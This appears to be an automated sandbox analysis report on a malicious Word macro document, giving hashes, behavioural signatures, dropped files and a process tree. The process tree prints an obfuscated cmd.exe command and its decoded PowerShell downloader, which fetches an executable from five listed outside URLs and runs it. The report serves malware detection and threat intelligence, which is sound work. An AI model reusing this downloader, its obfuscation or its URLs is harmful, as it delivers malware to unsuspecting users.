Analysis

  • max time kernel
    137s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 15:21

General

  • Target

    726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc

  • Size

    76KB

  • MD5

    726665031b2e8bf327d418ef15cfc60b

  • SHA1

    35eb78421b3c8ee960e1c33b38ccd7a619183fb0

  • SHA256

    79eb8ce2f6e869a1583b04fe69318a6d7d125022d96b5ee2e02adb27c9b09bbd

  • SHA512

    a4125ed7f977ab55ff2149f7b76cb4ce1e9ebd48c9cfa4b7b924e40515d50ffab1630e09878892aaa28393b01239051a0338fdff040d87a4a58007f994535940

  • SSDEEP

    768:HpJcaUitGAlmrJpmxlzC+w99NB4+1ocMeZkxjsMdbfJfVQ+TNc:HptJlmrJpmxlRw99NB4+acMdhQ+p

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kaijiang001.com/xxwBiLY

exe.dropper

http://ericsweredoski.com/C

exe.dropper

http://www.tri-solve.com/4ZO

exe.dropper

http://onlinelegalsoftware.com/RPtWwdec

exe.dropper

http://www.ultigamer.com/wp-admin/includes/d

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V/C"^se^t ^8I=^ ^ ^ ^ ^ ^ ^ ^}^}^{^hctac}^;ka^er^b;U^qN$^ metI^-ekovnI^;)^UqN$ ,vl^P^$(el^i^F^da^olnwo^D.EVw${yrt^{)^f^j^z^$ n^i v^lP$(hc^aer^o^f^;'^exe.^'+Va^o^$+'^\^'^+c^i^l^b^u^p^:vne^$^=UqN^$^;'7^84^'^ =^ V^a^o^$;)^'^@^'(t^i^l^p^S.^'d/^s^ed^ulcn^i/ni^m^da^-^p^w/moc^.rem^a^git^l^u.^www//:pt^th^@c^e^d^w^WtPR/^m^oc^.er^a^wt^f^oslage^l^enilno//^:p^t^t^h@O^Z4/m^oc.ev^los^-^irt.^ww^w//^:^p^tth^@C/moc^.i^k^so^d^er^ewscire//^:ptth@Y^Li^B^wxx/^moc.100gnai^ji^ak//:^pt^t^h^'^=fj^z^$;tn^eilCbeW.^teN^ tcej^bo^-wen^=EVw^$^ l^le^hsrew^o^p&&^f^or /^L %^s ^in (^382,^-1^,0)d^o ^se^t ^q^7RX=!^q^7RX!!^8I:~%^s,1!&&i^f %^s l^s^s ^1 call %^q^7RX:^*q7RX^!^=%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $wVE=new-object Net.WebClient;$zjf='http://kaijiang001.com/xxwBiLY@http://ericsweredoski.com/C@http://www.tri-solve.com/4ZO@http://onlinelegalsoftware.com/RPtWwdec@http://www.ultigamer.com/wp-admin/includes/d'.Split('@');$oaV = '487';$NqU=$env:public+'\'+$oaV+'.exe';foreach($Plv in $zjf){try{$wVE.DownloadFile($Plv, $NqU);Invoke-Item $NqU;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1084

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7716.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfd0vv42.xen.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Public\487.exe

    Filesize

    114B

    MD5

    e89f75f918dbdcee28604d4e09dd71d7

    SHA1

    f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

    SHA256

    6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

    SHA512

    8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

  • C:\Users\Public\487.exe

    Filesize

    785B

    MD5

    fc18605b5bda01d6d36f34d9c8460dba

    SHA1

    4b4f22551c2b0b3768a47e7cf60dec5e1b36c8d2

    SHA256

    562bb6658c431f3002bac4005a14d5c36878fd4bfa4703cbe07a8c5df59400e9

    SHA512

    758112438d6dc7c26ea3f8c79a8a79e279b15cee82f815ef044a8c5c19d65cf424792d311c628e0fccf9c219f281c97c68ef601db0f9b167fc47985c6fc00aa5

  • memory/1084-48-0x0000017B72020000-0x0000017B72042000-memory.dmp

    Filesize

    136KB

  • memory/3780-9-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-19-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-7-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-8-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-4-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-11-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-10-0x00007FFF7B840000-0x00007FFF7B850000-memory.dmp

    Filesize

    64KB

  • memory/3780-12-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-14-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-13-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-15-0x00007FFF7B840000-0x00007FFF7B850000-memory.dmp

    Filesize

    64KB

  • memory/3780-16-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-17-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-20-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-23-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-22-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-21-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-6-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-18-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-38-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-39-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-37-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-0-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-1-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-5-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-2-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-544-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-545-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-3-0x00007FFFBDB8D000-0x00007FFFBDB8E000-memory.dmp

    Filesize

    4KB

  • memory/3780-580-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-582-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-583-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-581-0x00007FFF7DB70000-0x00007FFF7DB80000-memory.dmp

    Filesize

    64KB

  • memory/3780-584-0x00007FFFBDAF0000-0x00007FFFBDCE5000-memory.dmp

    Filesize

    2.0MB